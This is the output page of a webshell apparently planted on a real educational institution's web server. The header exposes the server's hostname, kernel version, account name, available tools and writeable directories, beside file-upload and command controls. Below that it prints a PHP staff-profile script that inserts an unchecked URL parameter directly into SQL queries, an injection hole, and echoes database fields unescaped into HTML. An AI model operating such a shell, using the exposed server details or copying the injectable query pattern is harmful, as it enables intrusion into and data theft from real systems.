403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.126
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/profile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/profile/Oldindex.php
<?php
if (!isset($_SESSION)) session_start();
require_once('../FpE_cess/fnect.php');
// Fetch the page to display
ob_start();

$fetch = $_GET['fpe']; // get action file to know which page to show

//Get profile list from DB
$profiles = "SELECT * FROM Staff_Basic_Profile where StaffNo = '$fetch'";
$fpedbs = mysqli_query( $fpecon, $profiles) or die(mysqli_errno());
while ($row = mysqli_fetch_array($fpedbs))
	{
		$staffid = stripslashes($row["StaffNo"]);
		$staffpost = stripslashes($row['Post']);
		$stafftitle = stripslashes($row['Title']);
		$staffsur = stripslashes($row['Surname']);
		$staffon = stripslashes($row['OtherNames']);
		$staffqua = stripslashes($row['Qualification']);
		$stafflevel = stripslashes($row['Grade']);
		$staffmail = stripslashes($row['iEmail']);
		$staffno = stripslashes($row['Phone']);
		$staffedu = stripslashes($row['EduHist']);
		$staffpro = stripslashes($row['ProBrief']);
		$staffdpt = stripslashes($row['Department']);
		$staffnat = stripslashes($row['Nationality']);
	}

$schls = "SELECT Schools FROM fpe_schools where Departments = '$staffdpt'";
$scdb = mysqli_query( $fpecon, $schls) or die(mysqli_errno());
while ($row = mysqli_fetch_array($scdb))	$staffsch = stripslashes($row['Schools']);
	
//$fpe_ray = array('$staffid'); //beware of fakes
//echo "$fetch $staffid";
//if(!in_array($fetch,$fpe_ray)) include("../../404error.php"); // check page manipulations
//if ($fetch == $staffid)	echo "Failure";
//else {
/****** START PROCESSING PROFILE REQUEST ****/
//Give users what they want to see
echo <<<html
<div class="ptitle">$stafftitle $staffsur $staffon (Basic Profile)</div>
<div id="clr"></div>

<table id="table">
<tr>
	<td id="pfs">Title:</td>
    <td id="pft">$stafftitle</td>
</tr>
<tr>
	<td id="pfs">Surname:</td>
    <td id="pft">$staffsur</td>
</tr>
<tr>
  <td id="pfs">Other Names:</td>
  <td id="pft">$staffon</td>
</tr>
<tr>
  <td id="pfs">Email Address:</td>
  <td id="pft">$staffmail</td>
</tr>
<tr>
  <td id="pfs">Administrative Post:</td>
  <td id="pft">$staffpost</td>
</tr>
<tr>
  <td id="pfs">Grade Status:</td>
  <td id="pft">$stafflevel</td>
</tr>
<tr>
  <td id="pfs">Department:</td>
  <td id="pft">$staffdpt</td>
</tr>
<tr>
  <td id="pfs">School:</td>
  <td id="pft">$staffsch</td>
</tr>
<tr>
  <td id="pfs">Nationality:</td>
  <td id="pft">$staffnat</td>
</tr>
<tr>
  <td id="pfs">Education History:</td>
  <td id="pft"><ul class="educc">$staffedu</ul></td>
</tr>
<tr>
  <td id="pfs">Professional Briefs:</td>
  <td id="pft"><ul class="educc">$staffpro</ul></td>
</tr>
</table>
html;
//}
// display content area
	$mainbody = ob_get_contents();
	ob_end_clean();
// include template
//if(!in_array($fetch,$fpe_ray)) include("../../FPE_skin/404.php");
//else 
include('../FPE_skin/fpe_profile.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit